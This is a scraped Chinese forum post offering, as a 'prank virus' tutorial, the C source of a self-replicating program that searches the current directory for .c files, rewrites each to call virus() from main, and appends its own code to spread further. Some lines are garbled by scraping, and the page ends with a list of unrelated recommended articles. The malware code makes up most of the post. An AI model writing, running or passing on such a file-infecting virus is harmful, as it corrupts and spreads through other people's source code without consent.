c语言如何做简单整人病毒,来来来,教你一个用C语言写个小病毒
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
代码如下:
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include\n",out);
fputs("#include
\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
c语言如何做简单整人病毒,来来来,教你一个用C语言写个小病毒相关推荐
- c语言游戏总出bug,C语言 编写的简单移动游戏出现bug?_编程_游戏设计_C语言_天涯问答_天涯社区...
C语言 编写的简单移动游戏出现bug? 第一次按上下左右没什么问题,之后就会卡住..不知道出了什么错 源码如下:(用vc++的win32 console程序编写) #include #include ...
- 零基础如何学习C语言?大神亲手总结 17 招,教你玩转C语言!
C语言是我们大多数人的编程入门语言,对其也再熟悉不过了,不过很多初学者在学习的过程中难免会出现迷茫,比如:不知道C语言可以开发哪些项目,可以应用在哪些实际的开发中-- 这些迷茫也导致了我们在学习的过程 ...
- c语言编译器做病毒,来来来,教你一个用C语言写个小病毒
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 代码如下: #include #include void main(void) { virus(); } int virus() { struct ffb ...
- 怎么用c语言写病毒程序,来来来,教你一个用C语言写个小病毒
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 代码如下: #include #include void main(void) { virus(); } int virus() { struct ffb ...
- c语言病毒源代码 小型,来来来,教你一个用C语言写个小病毒
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 代码如下: #include #include void main(void) { virus(); } int virus() { struct ffb ...
- python语言能做什么软件-什么是Python语言,Python语言可以用来做什么?
什么是Python语言? Python是一种计算机程序设计语言.你可能已经听说过很多种流行的编程语言,比如非常难学的C语言,非常流行的Java语言,适合初学者的Basic语言,适合网页编程的JavaS ...
- 为什么很多公司转型 Go 语言开发?Go 语言能做什么
来源:jianshu.com/p/620519a3412a 1.为什么选择Go语言 2.Go语言能做什么 3.国内外有哪些企业或项目使用Go语言 4.写在最后 1.为什么选择Go语言 选择Go语言的原 ...
- 0000-0-1-C语言可以做什么C语言可以干啥C++语言可以做什么C++语言可以干啥C语言就业前景C++就业前景
C语言可以做什么C语言可以干啥C++语言可以做什么 C++语言可以干啥C语言就业前景C++就业前景 我看到很多伙伴问这些问题 我也看到很多伙伴给出自己的答案 我也在这个圈子,看着数以千计的伙伴通过学习 ...
- 华为手机如何实现语音转文字?简单的很,一步步教你完成
很多小伙伴,在会议或者采访的时候,需要将对话转换成文字.比较常见的方法是用手机进行录音.在录音结束后再自己慢慢的听译,将录音转换成文字.这个方法占用了很多的工作时间,还很麻烦.那么有没有简单轻松的能够 ...
最新文章
- java平台类成员访问修饰符_JAVA类的修饰符及访问权限
- java 文件夹删除_java创建删除文件及文件夹大全
- kodi教程_KODI清理缓存插件安装设置教程
- 交换环境下的冗余及负载分担技术(STP Channel HSRP)
- python使用集合实现筛选法求素数-python素数筛选法浅析
- echarts格式化tooltip数据
- 初级线段树讲解---转
- S3C2410 bootloader ----VIVI阅读笔记 (转)下
- exchange 删除邮件
- mysql 查询视图是否存在_sql server判断数据库、表、列、视图是否存在
- java 夏令时标志_夏令时随绝对日期而变化
- JS数组操作之增删改查
- 计算机网络 教学大纲 谢希仁,《计算机网络》教学大纲.doc
- Redhat Linux安装JDK 1.7
- pyltp环境的搭建
- 从零开始入门芯片行业
- 【学习笔记】广义逆矩阵及共轭转置求解
- 地下迷宫探索 java_Java 8:探索可能性
- 2020年史上最全移动端Web整理从开发基础到实战(三)
- 给一个字符类型的数组chas和一个整数size,请把大小为size的左半区整体右移到右半区,右半区整体移动到左边。
热门文章
- 从零开始在服务器上搭建QQ机器人——起步(一)
- 在数据中随机抽取一定比例的数据为训练集,剩下的为测试集的小方法
- [转载]Radmin的命令行参数
- Java按行读取大文件
- 安卓 Android 11、12 不使用第三方 Recovery TWRP 刷入 Magisk v22+ 支持联发科
- 2022年初级经济师考试经济基础练习题及答案
- GBASE南大通用受邀参加用友商业伙伴大会 共助信创数智转型
- Android studio+idea+tomcat+mysql实现网络视频播放器app全套源码(前端后端都有)
- php验证电话号码是否合法,js代码验证手机号码和电话号码是否合法_javascript技巧...
- 运营人员可以掌握的5个SEO基础知识(无需技术经验)